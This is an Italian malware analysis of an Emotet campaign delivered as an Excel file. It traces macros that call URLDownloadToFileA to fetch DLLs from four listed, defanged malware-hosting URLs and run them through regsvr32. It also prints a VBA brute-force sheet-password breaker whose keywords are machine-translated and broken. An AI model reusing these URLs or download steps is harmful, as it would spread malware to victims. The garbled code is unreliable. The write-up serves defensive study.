Di Ilan Duhin e Yossi Poberezsky( @pober58 )

Sintesi:

Negli ultimi mesi c'è stata una vasta campagna in Europa, soprattutto di malware che si chiama “Emotet”. Il malware arriva come file Excel e cerca di comunicare con un numero di URL e alla fine scarica quattro file DLL sulla macchina.

Emotet utilizza una chiamata API di CreateDirectoryA per creare una cartella in cui i file verranno salvati localmente sul computer e da lì eseguiti attraverso Regsvr32.exe.

Analisi statica:

Strumenti OLE:

Controllo della struttura del file.

Ottenere un indizio che abbiamo all'interno dei 6 fogli excel.

Controlla le capacità del file usando malwoverview.py e ottieni alcuni indizi.

Entra nel terzo flusso ed estrai le sue stringhe.

Trova 4 URL sospetti.

Il file contiene macro. Inoltre, trova tutte le celle che contengono l'intero codice.

Analisi dinamica:

Per prima cosa, abbiamo provato ad aprire Excel (parte di Office 2021) notiamo che si è aperto senza

Viene visualizzata la finestra "Abilita contenuto". dopo aver fatto poche ricerche, il messaggio viene visualizzato solo nelle versioni di Office 2007-2013. Successivamente, Microsoft blocca l'opzione di abilitare automaticamente le macro in esecuzione.

Per abilitare le macro dobbiamo cambiare l'opzione come nell'immagine qui sotto:

** in ufficio 2007/2013 verrà eseguito facendo clic su "Abilita contenuto"

È necessario salvarlo e inserirlo nuovamente in un file excel.

E adesso…

Quando premiamo il pulsante, vengono visualizzati quattro messaggi.

Quando fai clic su regsvr32.exe puoi vedere quelle macro che lo utilizzano per eseguire il malware. Funziona come un contagocce perché genera una cartella per posizionare lì la sua DLL.

aprendo Excel e seguendo l'indagine statica, vediamo 6 fogli che si nascondevano alla vittima.

Ogni foglio richiede una password.

Per estrarre la password, utilizziamo "password breaker for VBA".

Fonte:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

SottopasswordBreaker()

'Rompe la protezione con password del foglio di lavoro.

Dim i As Integer, j As Integer, k As Integer

Dim l As Integer, m As Integer, n As Integer

Dim i1 As Integer, i2 As Integer, i3 As Integer

Dim i4 As Integer, i5 As Integer, i6 As Integer

In caso di errore Riprendi Avanti

Per i = da 65 a 66: Per j = da 65 a 66: Per k = da 65 a 66

Per l = 65 fino a 66: Per m = 65 fino a 66: Per i1 = 65 fino a 66

Per i2 = da 65 a 66: Per i3 = da 65 a 66: Per i4 = da 65 a 66

Per i5 = da 65 a 66: Per i6 = da 65 a 66: Per n = da 32 a 126

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Se ActiveSheet.ProtectContents = False Then

MsgBox “Una password utilizzabile è “ & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Esci Sub

Finisci se

Avanti: Avanti: Avanti: Avanti: Avanti: Avanti

Avanti: Avanti: Avanti: Avanti: Avanti: Avanti

Fine Sub

Per inserire il nostro codice VBA dobbiamo premere: ALT+F11, incollarlo ed Esegui.

incolla il password breaker all'interno di ogni foglio.

Excel ci mostra automaticamente la password per il foglio richiesto.

Possiamo verificarlo facendo clic con il tasto destro e vedere che il foglio è "Protetto".

Dati Foglio 1:

Dati Foglio 2:

Quando riorganizziamo le stringhe vediamo quattro URL:

- URLDownloadToFileA”, “JCCB”, 0, “https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

Dati Foglio 3:

Dati Foglio 4:

Altri due URL che abbiamo visto prima.

Dati Foglio 5:

Dati Foglio 6:

Contiene le indicazioni su come riassumere le stringhe.

Analisi DLL:

Funzione di esportazione numero 18.

Dopo aver preso in giro la DLL abbiamo trovato alcune stringhe interessanti nella scheda della memoria.

Inoltre, si lascia cadere al momento dell'esecuzione nel percorso successivo:

Analizzando la stringa di memoria della DLL in VT abbiamo ottenuto una descrizione di Emotet.

Conclusioni:

· Le macro raggiungono per scaricare ed eseguire il malware Emotet.

· Il file excel che utilizza le macro per raggiungere gli URL web.

· Via regsvr32.exe Emotet facendo la sua esecuzione.

· Il contagocce Emotet viene scaricato in una cartella generata casualmente in %UserProfile%\Appdata\Local come file dll.